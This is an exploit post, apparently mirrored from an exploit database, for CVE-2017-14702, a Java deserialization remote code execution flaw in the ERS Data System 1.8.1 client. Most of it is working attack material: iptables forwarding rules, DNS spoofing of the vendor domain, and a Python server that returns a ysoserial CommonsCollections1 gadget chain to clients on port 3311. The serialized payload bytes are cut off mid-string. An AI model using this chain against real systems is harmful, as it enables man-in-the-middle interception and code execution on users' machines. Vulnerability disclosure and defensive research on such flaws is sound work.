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ERS Data System 1.8.1 Java Deserialization
来源:vfocus.net 作者:Shepherd 发布时间:2017-10-10  
# Exploit Title: ERS Data System 1.8.1 Deserialize Vulnerability
# Google Dork: N/A
# Date: 9/21/2017
# Exploit Author: West Shepherd
# Vendor Homepage: http://www.ersdata.com
# Software Link: www.ersdata.com/downloads/ErsSetup.exe
# Version: 1.8.1.0
# Tested on: Windows 7 x86
# CVE : CVE-2017-14702
 
# Description:
# ERS Data System 1.8.1.0 allows remote attackers to execute arbitrary code, related to the use of 
# com.branaghgroup.ecers.update.UpdateRequest deserialization.
 
# Exploitaiton:
# The ERS Data System thick client connects to the www.ersdata.com API via an unencrypted HTTP connection on TCP port 3311. 
# To redirect requests from the thick client to the attacking machine, enable packet forwarding:
 
#!/bin/bash
#echo 1 > /proc/sys/net/ipv4/ip_forward
#iptables -F INPUT
#iptables -F FORWARD
#iptables -F OUTPUT
#iptables -F -t nat
#iptables -A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT
#iptables -t nat -A POSTROUTING -s 192.168.85.0/24 ! -d 192.168.85.0/24 -j MASQUERADE
#iptables -P INPUT ACCEPT
#iptables -P FORWARD ACCEPT
#iptables -P OUTPUT ACCEPT
 
# Then poison DNS requests to the www.ersdata.com domain:
 
# DNS Spoof https://github.com/devleoper/arp-dns-spoof
# root@kali:/usr/share/arp-dns-spoof# cat dns_packet_spoof.py | egrep "domain =|localIP ="
# domain = 'www.ersdata.com' # domain to be spoofed
# localIP = '192.168.85.131' # IP address for poisoned hosts.
 
# Run the request handler on the attacking machine, which will answer all requests with malicous serialized gadgets. For example:
 
#!/usr/bin/python
import SocketServer, sys
from SimpleHTTPServer import SimpleHTTPRequestHandler
 
# POST Handler
class HTTPHandler(SimpleHTTPRequestHandler):        
    def __init__(self,req,client_addr,server):
        SimpleHTTPRequestHandler.__init__(self,req,client_addr,server)  
    def do_POST(self):
        # java -jar ysoserial-master-v0.0.5-g1f2e7bf-14.jar CommonsCollections1 calc.exe > calc.bin
        # python -c 'import binascii, re;print "\\x"+"\\x".join(re.findall("..",binascii.hexlify(open("calc.bin","rb").read())))'
        response = (    "\xac\xed\x00\x05\x73\x72\x00\x32\x73\x75\x6e\x2e\x72\x65\x66\x6c\x65\x63\x74\x2e\x61\x6e\x6e\x6f\x74\x61\x74\x69\x6f\x6e\x2e\x41\x6e\x6e\x6f\x74\x61\x74\x69\x6f\x6e\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x55\xca\xf5\x0f\x15\xcb\x7e\xa5\x02\x00\x02\x4c\x00\x0c\x6d\x65\x6d\x62\x65\x72\x56\x61\x6c\x75\x65\x73\x74\x00\x0f\x4c\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x4d\x61\x70\x3b\x4c\x00\x04\x74\x79\x70\x65\x74\x00\x11\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x43\x6c\x61\x73\x73\x3b\x78\x70\x73\x7d\x00\x00\x00\x01\x00\x0d\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x4d\x61\x70\x78\x72\x00\x17\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x72\x65\x66\x6c\x65\x63\x74\x2e\x50\x72\x6f\x78\x79\xe1\x27\xda\x20\xcc\x10\x43\xcb\x02\x00\x01\x4c\x00\x01\x68\x74\x00\x25\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x72\x65\x66\x6c\x65\x63\x74\x2f\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x3b\x78\x70\x73\x71\x00\x7e\x00\x00\x73\x72\x00\x2a\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x6d\x61\x70\x2e\x4c\x61\x7a\x79\x4d\x61\x70\x6e\xe5\x94\x82\x9e\x79\x10\x94\x03\x00\x01\x4c\x00\x07\x66\x61\x63\x74\x6f\x72\x79\x74\x00\x2c\x4c\x6f\x72\x67\x2f\x61\x70\x61\x63\x68\x65\x2f\x63\x6f\x6d\x6d\x6f\x6e\x73\x2f\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2f\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x3b\x78\x70\x73\x72\x00\x3a\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x66\x75\x6e\x63\x74\x6f\x72\x73\x2e\x43\x68\x61\x69\x6e\x65\x64\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x30\xc7\x97\xec\x28\x7a\x97\x04\x02\x00\x01\x5b\x00\x0d\x69\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x73\x74\x00\x2d\x5b\x4c\x6f\x72\x67\x2f\x61\x70\x61\x63\x68\x65\x2f\x63\x6f\x6d\x6d\x6f\x6e\x73\x2f\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2f\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x3b\x78\x70\x75\x72\x00\x2d\x5b\x4c\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x3b\xbd\x56\x2a\xf1\xd8\x34\x18\x99\x02\x00\x00\x78\x70\x00\x00\x00\x05\x73\x72\x00\x3b\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x66\x75\x6e\x63\x74\x6f\x72\x73\x2e\x43\x6f\x6e\x73\x74\x61\x6e\x74\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x58\x76\x90\x11\x41\x02\xb1\x94\x02\x00\x01\x4c\x00\x09\x69\x43\x6f\x6e\x73\x74\x61\x6e\x74\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x4f\x62\x6a\x65\x63\x74\x3b\x78\x70\x76\x72\x00\x11\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x52\x75\x6e\x74\x69\x6d\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x78\x70\x73\x72\x00\x3a\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x66\x75\x6e\x63\x74\x6f\x72\x73\x2e\x49\x6e\x76\x6f\x6b\x65\x72\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x87\xe8\xff\x6b\x7b\x7c\xce\x38\x02\x00\x03\x5b\x00\x05\x69\x41\x72\x67\x73\x74\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x4f\x62\x6a\x65\x63\x74\x3b\x4c\x00\x0b\x69\x4d\x65\x74\x68\x6f\x64\x4e\x61\x6d\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x0b\x69\x50\x61\x72\x61\x6d\x54\x79\x70\x65\x73\x74\x00\x12\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x43\x6c\x61\x73\x73\x3b\x78\x70\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f\x10\x73\x29\x6c\x02\x00\x00\x78\x70\x00\x00\x00\x02\x74\x00\x0a\x67\x65\x74\x52\x75\x6e\x74\x69\x6d\x65\x75\x72\x00\x12\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x43\x6c\x61\x73\x73\x3b\xab\x16\xd7\xae\xcb\xcd\x5a\x99\x02\x00\x00\x78\x70\x00\x00\x00\x00\x74\x00\x09\x67\x65\x74\x4d\x65\x74\x68\x6f\x64\x75\x71\x00\x7e\x00\x1e\x00\x00\x00\x02\x76\x72\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\xa0\xf0\x
        )
        self.send_response(200)
        self.send_header("Content-type", "text/html")
        self.send_header("Content-length", len(response))
        self.end_headers()
        self.wfile.write(response)      
try:        
    httpd = SocketServer.TCPServer(("", 3311), HTTPHandler)
    print "Serving at port: ", 3311
    httpd.serve_forever()   
except:
    print "Exiting..."


 
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